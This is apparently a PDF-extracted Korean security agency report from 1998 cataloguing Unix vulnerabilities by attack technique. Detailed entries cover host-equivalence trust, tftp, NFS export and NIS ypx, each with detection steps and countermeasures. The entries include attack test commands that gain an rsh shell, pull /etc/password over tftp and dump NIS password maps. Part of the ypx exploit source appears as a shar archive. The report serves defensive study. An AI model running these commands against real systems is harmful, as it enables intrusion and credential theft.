KH98-036 트로이목마_du-*-해킹도구

KH98-037 체크섬_변조도구-*-해킹도구

KH98-038 TCP_RST-*-프로토콜

KH98-039 ps_트로이목마-*-해킹도구

KH98-040 zapper-*-해킹도구

KH98-051 admintool-Solaris-임시파일

KH98-052 automountd-Solaris-함수호출

KH98-053 eject-Solaris-버퍼오버플로우

KH98-054 fdformat-Solaris-버퍼오버플로우

KH98-055 ffbconfig-Solaris-버퍼오버플로우

KH98-056 kcms_calibrate-Solaris-임시파일

KH98-057 nispopulate-Solaris-임시파일

KH98-058 passwd-Solaris-오버플로우

KH98-059 ping-Solaris-서비스거부

KH98-060 rlogin-*-오버플로우

KH98-061 sdtcm-*-임시파일

KH98-062 vold-soalris-임시파일

KH98-063 workman-*-임시파일

KH98-064 chfn-HP-오버플로우

KH98-065 connect-*-서비스거부

KH98-066 cue-HPUX-임시파일

Page 22: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-067 fork-HPUX-무한루프

KH98-068 fpkg2swpkg-HPUX-임시파일

KH98-069 newgrp-HPUX-오버플로우

KH98-070 passwd-HPUX-오버플로우

KH98-071 ppl-HPUX-임시파일

KH98-072 ppl-HPUX-코어덤프

KH98-073 sam_exec-HPUX-입력처리

KH98-074 SAM-HPUX-임시파일

KH98-075 setprivgrp-HPUX-함수버그

KH98-076 LicenseManager-IRIX-임시파일

KH98-077 cdplayer-IRIX-임시디렉토리

KH98-078 cdplayer-IRIX-오버플로우

KH98-079 chost-IRIX-입력해석

KH98-080 colorview_IRIX 입력해석

KH98-081 csetup-IRIX-임시파일

KH98-082 datman-IRIX-입력해석

KH98-083 day5notifier-IRIX-입력해석

KH98-084 df-IRIX-오버플로우

KH98-085 eject-IRIX-오버플로우

KH98-086 fsdump-IRIX-임시파일

KH98-088 login LOCKOUT-IRIX-구성

KH98-089 login-IRIX-오버플로우

KH98-090 monpanel-IRIX-오버플로우

KH98-091 netprint-IRIX-임시파일

KH98-092 ordist-IRIX-오버플로우

KH98-093 pkgadjust-IRIX-입력해석

KH98-094 printers-IRIX-오버플로우

KH98-095 pset-IRIX-오버플로우

KH98-096 suid_exec-IRIX-입력해석

KH98-097 systour-IRIX-구성

KH98-100 xconsole-IRIX-오버플로우

5-3 내외부 모두 가능한 공격

KH98-001 호스트_동등-*-구성

KH98-002 tftp-*-구성

KH98-012 finger_redirect-*-구성

KH98-018 phf_CGI-*-입력해석

KH98-020 Sendmail_EXPN/VRFY-*-구성

Page 23: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-025 포트스캔-*-해킹도구

KH98-026 포트스캔_ACK-*-해킹도구

KH98-027 포트스캔_stealth-*-해킹도구

KH98-041 ipsend-*-해킹도구

KH98-042 voodoo-*-해킹도구

KH98-043 ICMP_echo-*-프로토콜

KH98-044 IP_spoofing-*-프로토콜

KH98-045 TCP_SYN_flooding-*-서비스거부

KH98-047 ypupdated-*-구성

KH98-050 Xwindow-*-구성

KH98-087 handler_CGI-IRIX-입력해석

KH98-088 login LOCKOUT-IRIX-구성

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

6. 내부공격의 해킹기법별 분류

6-1 임시파일버그 이용

KH98-009 autoreply-Solaris-임시파일

KH98-010 ps-Solaris-임시파일

KH98-011 rdist-*-입력해석

KH98-014 passwd-SunOS-임시파일

KH98-015 mail-SunOS-임시파일

KH98-051 admintool-Solaris-임시파일

KH98-056 kcms_calibrate-Solaris-임시파일

KH98-057 nispopulate-Solaris-임시파일

KH98-061 sdtcm-*-임시파일

KH98-062 vold-solaris-임시파일

KH98-063 workman-*-임시파일

KH98-066 cue-HPUX-임시파일

KH98-068 fpkg2swpkg-HPUX-임시파일

KH98-071 ppl-HPUX-임시파일

KH98-074 SAM-HPUX-임시파일

KH98-076 LicenseManager-IRIX-임시파일

KH98-077 cdplayer-IRIX-임시디렉토리

KH98-081 csetup-IRIX-임시파일

KH98-086 fsdump-IRIX-임시파일

KH98-091 netprint-IRIX-임시파일

Page 24: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

6-2 버퍼오버플로우 이용

KH98-005 NFS_export_길이초과-SunOS-구성

KH98-053 eject-Solaris-버퍼오버플로우

KH98-054 fdformat-Solaris-버퍼오버플로우

KH98-055 ffbconfig-Solaris-버퍼오버플로우

KH98-058 passwd-Solaris-오버플로우

KH98-060 rlogin-*-오버플로우

KH98-064 chfn-HP-오버플로우

KH98-069 newgrp-HPUX-오버플로우

KH98-070 passwd-HPUX-오버플로우

KH98-072 ppl-HPUX-코어덤프

KH98-078 cdplayer-IRIX-오버플로우

KH98-084 df-IRIX-오버플로우

KH98-085 eject-IRIX-오버플로우

KH98-089 login-IRIX-오버플로우

KH98-090 monpanel-IRIX-오버플로우

KH98-092 ordist-IRIX-오버플로우

KH98-094 printers-IRIX-오버플로우

KH98-095 pset-IRIX-오버플로우

KH98-100 xconsole-IRIX-오버플로우

6-3 프로그램버그 이용

KH98-013 chup-SunOS-해킹도구

KH98-016 expreserve-SunOS-경쟁조건

KH98-065 connect-*-서비스거부

KH98-073 sam_exec-HPUX-입력처리

KH98-079 chost-IRIX-입력해석

KH98-080 colorview_IRIX 입력해석

KH98-082 datman-IRIX-입력해석

KH98-083 day5notifier-IRIX-입력해석

KH98-087 handler_CGI-IRIX-입력해석

KH98-093 pkgadjust-IRIX-입력해석

KH98-096 suid_exec-IRIX-입력해석

KH98-097 systour-IRIX-구성

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

Page 25: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

6-4 구성오류 이용

KH98-047 ypupdated-*-구성

KH98-050 Xwindow-*-구성

KH98-052 automountd-Solaris-함수호출

KH98-088 login LOCKOUT-IRIX-구성

6-5 운영체제/라이브러리 버그 이용

KH98-059 ping-Solaris-서비스거부

KH98-067 fork-HPUX-무한루프

7. 해킹도구별 분류

KH98-006 magic_login-*-해킹도구

KH98-007 네트워크_스니퍼-Soalris-해킹도구

KH98-008 네트워크_스니퍼-SunOS-해킹도구

KH98-025 포트스캔-*-해킹도구

KH98-026 포트스캔_ACK-*-해킹도구

KH98-027 포트스캔_stealth-*-해킹도구

KH98-034 트로이목마_ls-*-해킹도구

KH98-035 트로이목마_netstat-*-해킹도구

KH98-036 트로이목마_du-*-해킹도구

KH98-037 체크섬_변조도구-*-해킹도구

KH98-039 ps_트로이목마-*-해킹도구

KH98-040 zapper-*-해킹도구

KH98-041 ipsend-*-해킹도구

KH98-042 voodoo-*-해킹도구

KH98-046 ypsnarf-*-해킹도구

8. 서비스거부공격별 분류

8-1 원격지시시스템 서비스거부공격

KH98-012 finger_redirect-*-구성

KH98-022 TCP_FIN-*-프로토콜

KH98-023 TCP_RST-*-프로토콜

KH98-041 ipsend-*-해킹도구

KH98-042 voodoo-*-해킹도구

KH98-043 ICMP_echo-*-프로토콜

Page 26: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-045 TCP_SYN_flooding-*-서비스거부

KH98-048 mail_spamming-*-프로토콜

8-2 내부시스템 서비스 거부공격

KH98-059 ping-Solaris-서비스거부

KH98-067 fork-HPUX-무한루프

9. 원격지컴퓨터 정보추출 방법

KH98-007 네트워크_스니퍼-Soalris-해킹도구

KH98-008 네트워크_스니퍼-SunOS-해킹도구

KH98-020 Sendmail_EXPN/VRFY-*-구성

KH98-025 포트스캔-*-해킹도구

KH98-026 포트스캔_ACK-*-해킹도구

KH98-027 포트스캔_stealth-*-해킹도구

KH98-028 rstat-*-구성

KH98-029 netstat-*-구성

KH98-030 systat-*-구성

KH98-031 finger-*-구성

KH98-032 rwho-*-구성

KH98-033 rusers-*-구성

Page 27: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

제3장 해킹대응기술 분석자료

Page 28: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

<제목차례>

KH98-001 호스트_동등-*-구성

KH98-002 tftp-*-구성

KH98-003 NFS_export-*-구성

KH98-004 NIS_ypx-*-구성

KH98-005 NFS_export_길이초과-SunOS-구성

KH98-006 magic_login-*-해킹도구

KH98-007 네트워크_스니퍼-Soalris-해킹도구

KH98-008 네트워크_스니퍼-SunOS-해킹도구

KH98-009 autoreply-Solaris-임시파일

KH98-010 ps-Solaris-임시파일

KH98-011 rdist-*-입력해석

KH98-012 finger_redirect-*-구성

KH98-013 chup-SunOS-해킹도구

KH98-014 passwd-SunOS-임시파일

KH98-015 mail-SunOS-임시파일

KH98-016 expreserve-SunOS-경쟁조건

KH98-017 ifconfig_트로이목마-*-해킹도구

KH98-018 phf_CGI-*-입력해석

KH98-019 test_CGI-*-입력해석

KH98-020 Sendmail_EXPN/VRFY-*-구성

KH98-021 ypwhich-*-구성

KH98-022 TCP_FIN-*-프로토콜

KH98-023 TCP_RST-*-프로토콜

KH98-024 세션_가로채기-*-프로토콜

KH98-025 포트스캔-*-해킹도구

KH98-026 포트스캔_ACK-*-해킹도구

KH98-027 포트스캔_stealth-*-해킹도구

KH98-028 rstat-*-구성

KH98-029 netstat-*-구성

KH98-030 systat-*-구성

KH98-031 finger-*-구성

KH98-032 rwho-*-구성

KH98-033 rusers-*-구성

KH98-034 트로이목마_ls-*-해킹도구

KH98-035 트로이목마_netstat-*-해킹도구

KH98-036 트로이목마_du-*-해킹도구

Page 29: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-037 체크섬_변조도구-*-해킹도구

KH98-038 TCP_RST-*-프로토콜

KH98-039 ps_트로이목마-*-해킹도구

KH98-040 zapper-*-해킹도구

KH98-041 ipsend-*-해킹도구

KH98-042 voodoo-*-해킹도구

KH98-043 ICMP_echo-*-프로토콜

KH98-044 IP_spoofing-*-프로토콜

KH98-045 TCP_SYN_flooding-*-서비스거부

KH98-046 ypsnarf-*-해킹도구

KH98-047 ypupdated-*-구성

KH98-048 mail_spamming-*-프로토콜

KH98-049 rlogin-AIX-입력해석

KH98-050 Xwindow-*-구성

KH98-051 admintool-Solaris-임시파일

KH98-052 automountd-Solaris-함수호출

KH98-053 eject-Solaris-버퍼오버플로우

KH98-054 fdformat-Solaris-버퍼오버플로우

KH98-055 ffbconfig-Solaris-버퍼오버플로우

KH98-056 kcms_calibrate-Solaris-임시파일

KH98-057 nispopulate-Solaris-임시파일

KH98-058 passwd-Solaris-오버플로우

KH98-059 ping-Solaris-서비스거부

KH98-060 rlogin-*-오버플로우

KH98-061 sdtcm-*-임시파일

KH98-062 vold-solaris-임시파일

KH98-063 workman-*-임시파일

KH98-064 chfn-HP-오버플로우

KH98-065 connect-*-서비스거부

KH98-066 cue-HPUX-임시파일

KH98-067 fork-HPUX-무한루프

KH98-068 fpkg2swpkg-HPUX-임시파일

KH98-069 newgrp-HPUX-오버플로우

KH98-070 passwd-HPUX-오버플로우

KH98-071 ppl-HPUX-임시파일

KH98-072 ppl-HPUX-코어덤프

KH98-073 sam_exec-HPUX-입력처리

KH98-074 SAM-HPUX-임시파일

Page 30: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-075 setprivgrp-HPUX-함수버그

KH98-076 LicenseManager-IRIX-임시파일

KH98-077 cdplayer-IRIX-임시디렉토리

KH98-078 cdplayer-IRIX-오버플로우

KH98-079 chost-IRIX-입력해석

KH98-080 colorview_IRIX 입력해석

KH98-081 csetup-IRIX-임시파일

KH98-082 datman-IRIX-입력해석

KH98-083 day5notifier-IRIX-입력해석

KH98-084 df-IRIX-오버플로우

KH98-085 eject-IRIX-오버플로우

KH98-086 fsdump-IRIX-임시파일

KH98-087 handler_CGI-IRIX-입력해석

KH98-088 login LOCKOUT-IRIX-구성

KH98-089 login-IRIX-오버플로우

KH98-090 monpanel-IRIX-오버플로우

KH98-091 netprint-IRIX-임시파일

KH98-092 ordist-IRIX-오버플로우

KH98-093 pkgadjust-IRIX-입력해석

KH98-094 printers-IRIX-오버플로우

KH98-095 pset-IRIX-오버플로우

KH98-096 suid_exec-IRIX-입력해석

KH98-097 systour-IRIX-구성

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

KH98-100 xconsole-IRIX-오버플로우

Page 31: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

호스트_동등-*-구성

(hostequivalence-*-config)

Page 32: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

hostequivalence-*-config

호스트_동등-*-구성

문서번호

KH98-001

문서제목

호스트_동등-*-구성 (host_equivalence-*-config)

관련 응용프로그램

rsh, rlogin

관련운영체제

BSD 계열의 모든 운영체제

취약점 분석

취약점 이해

-BSD계열의 UNIX는 사용자 동등(Equivalence) 및 호스트 동등 기능을 제공하며, 이를 이

용하여 상호 신뢰할 수 있는 사용자나 호스트에 대해 인증(패스워드 확인)과정없이 시스템

에 접근할 수 있도록 허용한다.

- 이같은 사용자 동등 및 호스트 동등 관계는 /etc/hosts.equiv 파일과 .rhosts파일을 이용

해 구성하며 hosts.equiv 및 .rhost 파일의 내용은 다음과 같은 형식으로 구성된다.

호스트명 [사용자명]

-hosts.equiv 및 .rhost 파일의 내용에 호스트명 또는 사용자명 대신 “+” 문자를 사용하면

모든 호스트 또는 모든 사용자에 대해 인증없이 접근을 허용한다. 예를들어 다음과 같은 경

우에 모든 사용자가 인증과정 없이 접근할 수 있게 된다.

●접근하고자 하는 사용자 홈 디렉토리내의 .rhost 파일의 내용이 ‘+ +’면 외부의 모든 호

스트에서 모든 사용자가 패스워드 없이 접근할 수 있다.

●/etc/rhosts.equiv 파일내용이 ‘+’이면 어느 호스트에서든지 접근이 가능하다.

●일부 과거의 운영체제에서는 심지어 root 사용자 계정으로도 접근이 가능하다.

-호스트 주소만으로 외부의 호스트 및 사용자를 인증하는 것은 얼마든지 위장이 가능하므

로 보안을 위해 매우 위험하다. 따라서 hosts.equiv 또는 .rhost 파일을 사용하지 못하도록

하는 것이 좋다.

Page 33: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

취약점 확인 방법

-시스템내의 모든 사용자에 대해 .rhost 파일을 보유 여부를 확인하려면 다음과 같은 쉘스

크립트를 작성하여 주기적으로 실행시킨다.

#!/bin/ksh

#search for .rhosts files

PATH=/usr/bin

for user in $(cat /etc/password | awk -F: 'length($6) > 0 {print $6}' | sort -u)

do

[[ -f $user/.rhosts ]] && print "$user has a .rhosts file in his/her home directory"

done

Page 34: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹분석수법

해킹수법이해

해킹소스프로그램

없음

해킹시험결과

%target>more /etc/hosts.equiv

++

%target>more /.rhosts

+

%checker>rsh -l hacker target csh -i

Welcome to target!

%target>

해킹흔적 확인방법

- 파일시스템 무결성 확인도구 (Tripwire 등)을 이용해 새로운 .rhosts 및 /etc/hosts.equiv

파일의 생성 또는 기존 파일의 변경 여부를 확인한다.

대응방법

- /etc/inetd.conf에서 rshd와 rlogind 항목을 제거한다.

- 파일시스템에서 /etc/hosts.equiv 파일과 모든 .rhosts 파일들을 삭제한다.

Page 35: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

tftp-*-구성

(tftp-*config)

Page 36: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

tftp-*-config

tftp-*-구성

문서번호

KH98-002

문서제목

tftp-*-구성(tftp-*-config)

관련 응용프로그램

tftp

관련 운영체제

BSD 계열의 모든 OS

취약점 분석

취약점 이해

- tftp는 UDP를 사용하여 두 호스트간에 사용자 인증을 거치지 않고 파일을 주고 받을 수

있는 서비스이다. 보안 기능이 부조하여 잘 사용되고 있지 않으며, 일반적으로 X-termnal

부트과정에서 bootstrap을 가져오는데 사용되고 있다.

취약점 확인 방법

/etc/inetd.conf 파일에서 in.tftpd 항목의 존재 여부를 검사 한다.

해킹수법 분석

해킹수법 이해

- tftp를 이용하여 공격자는 사용자 인증과정을 거칠 필요가 없이 임의의 파일을 가져 갈

수가 있다.

해킹소스프로그램

없음

해킹시험 결과

공격대상 호스트 xxx.xxx.xxx.xxx에 아래와 같은 순서로 명령을 수행하여 패스워드 파일

을 얻어낸다.

※ Crack등의 도구를 이용하여 패스워드 파일로부터 임의 계정의 패스워드를 알아낼 수 있

다.

%checker> tftp xxx.xxx.xxx.xxx

Page 37: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

%checker> get /etc/password local-filename

Page 38: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

- etc/inetd.conf에서 tftpd 항목을 막는다.

- tftp가 반드시 필요한 경우, /etc/inetd.conf 파일의 tftpd 관련 항목을 수정하여 tftp를

사용하여 접근할 수 있는 디렉토리를 제한한다.

운영체제 /etc/inetd.conf 파일 수정 예

SunOS tftp dgram udp wait root /usr/etc/in.tftpd in.tftpboot

Solaris tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot

HP-UX tftp dgram udp wait root /etc/tftp tftp -s /tftpboot

AIX System Management Interface Tool (SMIT)을 이용하여 구성한다. TCP/IP 및

TFTP 구성에 대한 IBM사의 지침을 참조한다.

Page 39: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NFS_export-*-구성

NFS_export-*-config

Page 40: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NFS_export-*-config

NFS_export-*-구성

문서번호

KH98-003

문서제목

NFS_export-*-구성 (NFS_export-*-config)

관련 응용프로그램

NFS

관련 운영체제

Sun SunOS, HP HP-UX, SGI IRIX

취약점 분석

취약점이해

일부 운영체제에서 NFS 서버의 외부 호스트에 NFS 마운트 허용에 관한 설정 사항들을

/etc/exports 파일에 지정한다. 그런데 이 파일내에서 NFS 마운트를 허용할 디렉토리만 지

정하고 옵션을 적절히 지정하지 않을 경우, 모든 호스트에서 해당 서버의 디렉토리를 마운

트할 수 있게 된다.

취약점 확인 방법

- showmount -e localhost

- /etc/exports 파일의 설정을 검사한다.

해킹분석

해킹이해

없음

해킹소스프로그램

없음

해킹시험 결과

%showmount -e xxx.xxx.xxx.xxx

export list for xxx.xxx.xxx.xxx

/user (everyone)

Page 41: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

%mount xxx.xxx.xxx.xxx:user /user2

※ xxx.xxx.xxx.xxx 는 임의의 호스트

해킹흔적 확인방법

- 패킷 모니터링 도구를 이용해 원격 시스템으로부터 nfsd 포트(2049번)로 접근하는 것을

감시

대응방법

-NFS 마운트 허용시 필요한 최소한의 디렉토리만 마운트를 허용한다.

- 쓰기권한이 필요없으면 읽기전용(read only)로 마운트를 허용한다.

Page 42: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NIS_ypx-*-구성

NIS_ypx-*-config

Page 43: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NIS_ypx-*-config

NIS_ypx-*-구성

문서번호

KH98-004

문서제목

NIS_ypx-*-구성(NIS_ypx-*-config)

관련응용프로그램

NIS ypx

관련 운영체제

NIS를 지원하는 모든 운영체제

취약점 분석

취약점 이해

- ypx는 ypserv를 실행시키고 있는 임의의 호스트로부터 NIS 맵을 가져오는데 사용되는

유틸리티이다. 상대 시스템의 NIS 맵을 가져오려면 상대 시스템의 도메인 이름을 알아야 하

지만 도메인이름을 추측하는 것이 가능해 임의의 외부 사용자에게 NIS 맵을 제공하는 취약

점이 존재한다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

NIS맵을 가져오려면 상대방의 도메인이름을 알아야 하는데, -g 옵션을 이용하여 추측하는

것이 허용된 경우, 상대 호스트명의 일부등을 이용하여 추측하는 것이 가능하다. 또한 -s

옵션을 이용하면 상대 시스템의 sendmail 데몬을 통해 얻은 호스트명을 분석해서 도메인

이름을 추측할 수 있다. 마지막으로 명령행에 임의길이의 문자열을 제공하여 도메인이름을

추측하는 것도 가능하다.

해킹소스프로그램

- 첨부

해킹시험 결과

hacker# ypx -dgs -o password target

Opening connection to sendmail ... ok

220 target.targetnis Sendmail 4.1/SMI-4.1 ready at Wed, 11 Dec 96 15:05:56

Page 44: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KST

Trying domain target

Trying domain target.targetnis

Trying domain target

Trying domain targetnis

YP map transfer successfull.

hacker# more test

sysdiag:*:0:1:Old System

Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag

Ssundiag:*:0:1:System

Diagnostic:/usr/diag/Sundiag:/usr/diag/Sundiag/Sundiag

nobody:*:65534:65534::/:

ingres:*:7:7::/usr/ingres:/bin/csh

daemon:*:1:1::/:

audit:*:9:9::/etc/security/audit:/bin/csh

uucp:*:4:8::/var/spool/uucppublic:

sync::1:1::/:bin/sync

root:*:0:1:Operator:/:/bin/csh

news:*:6:6::/var/spool/news:/bin/csh

sys:*:2:2::/:/:bin/csh

bin:*:3:3::/bin:

kisa#

해킹흔적 확인방법

대응방법

패치설치

-ypserv, ypxfrd, and portmap등의 패치(Patch ID# 100482-02)버전을 설치한다.

ftp://ftp.uu.net/~ftp/systems/Sun/Sun-dist/100482-02.tar.Z

Page 45: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

# ! /bin/sh

# This is a shell archive. Remove anything before this line, then unpack

# it by saving it into a file and typing "sh file". To overwrite existing

# files, type "sh file -c". You can also feel this as standard input via

# unshar, or by typing "sh<file", e.g.. If this archive is complete, you

# will see the following message at the end:

# "End of archive 1 (of 1)."

# contents: MANIFEST Makefile README nhost.c nhost.h yp-check.c

# ypx-add.c ypx-add.h ypx-boot.c ypx-func.c ypx-mail.c ypx-sm.c

# ypx.1

# Wrapped by rob@wzv on Wed Oct 6 22:25:16 1993

PATH=/bin:/usr/ucb ; export PATH

if test -f MANIFEST -a "${1}" != "-c" ; then

echo shar: Will not over-write existing file ₩"MANIFEST₩"

else

echo shar: Extracting ₩"MANIFEST₩" ₩(504 characters₩)

sed "s/^X//" >MANIFEST <<'END_OF_MANIFEST'

X File Name Archive# Description

X-------------------------------------------------------------------

------

X MANIFEST 1 This shipping list

X Makefile 1

X README 1

X nhost.c 1

X nhost.h 1

X yp-check.c 1

X ypx-add.c 1

X ypx-add.h 1

X ypx-boot.c 1

X ypx-func.c 1

X ypx-main.c 1

X ypx-sm.c 1

X ypx.1

Page 46: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

END_OF_MANIFEST

if test 504 -ne 'wc -c <MANIFEST'; then

echo shar: /"MANIFEST/" unpacked with wring size!

fi

Page 47: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

# end of overwriting check

fi

if test -f Makefile -a "${1}" != "-c" ; then

echo shar: Will not over-write existing file ₩"Makefile₩"

else

echo shar: Extracting ₩"Makefile₩" ₩(540 characters₩)

sed "s/^X//" >Makefile <<'END_OF_Makefile'

X#

X# Makefile voor de diverse testprogramma's in deze directory

X#

XCFLASG= -g #For debugging

X#CFLASG = -03 # For final version

X

Xall:ypx doc yp.chk

X

Xclean:

Xrm -f a.out core *.BAK *.o ypx yp.chk MANIFEST*

X

X# modules

X

Page 48: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xypx: ypx-main.o ypx-func.o ypx-add.o ypx-sm.o nhost.o

Xcc ${CFLAGS} -o ypx ypx-main.o ypx-func.o ypx-add.o ypx-sm.o nhost.o

X

Xyp.chk: yp-check.o ypx-sm.o nhost.o

Xcc $(CFLAGS) -o yp.chk yp-check.o ypx-sm.o nhost.o

X

Xdoc: ypx.1

Xnroff -man ypx.1 >ypx.doc

X

Xshar: clean

Xumask 077

Xmakekit -m README Makefile *.c *.h ypx.1

END_OF_Makefile

if test 540 ne 'wc -c <Makefile'; then

echo shar : ₩"Makefile₩" unpacked with wring size!

fi

# end of overwriting check

fi

if test -f README -a "${1}" != "-c" ; then

echo shar: Will not over-write existing file ₩"RADME₩"

else

echo shar: Extracting ₩"README₩" ₩(2437 characters₩)

sed "s/^X//" >README <<'END_OF_README'

X

X

Xypx -A utility to transfer NIS maps beyond a local network.

X

XIntroduction

X-------

Xypx is a utility which I wrote about a year ago, when I was studying

Xthe Network Programming manual, as an experiment. Since older copies I

Xsend to a couple of friends seem to be spreading fast, I've decided to

Xpost it to alt.sources.

X

XDisclaimer

X------

XWarning ! I am not responsible for the use, or the failure to use this

Xprogram. Use at your own risk. Overenthousiastic use of this program

Xmight break existing local laws. Like any tool. illegal actions are not

Xthe responsibility of the writer of the program, but of the user who

Xruns it. If you take the time read the source, you'll find that the

Page 49: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xinternals are very simple. Anyone could write such a program, many have

Xalready done this.

X

XInstalling and running ypx

X--------

XUnpack the source (either a shar file or .zip file) in a directory, and

Xtype 'make'. If make gives any warnings or errors, please send mail to

Xthe adress below, so I can make the next release more portable. The

Xmake step will produce the "ypx" binary, ready to run.

X

XDocumentation

X--------

XA short document describes the command line options, it's called

X"ypx.1". This document is in the standard manual page format. The make

Xstep will convert this file to an ASCII file called "ypx.doc". Install

X"ypx.1" in a directory where man(1) can find it, optionally.

X

XThe future

X--------

Page 50: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

XSince this is a first release, bugfixes and improvements will undoubtably

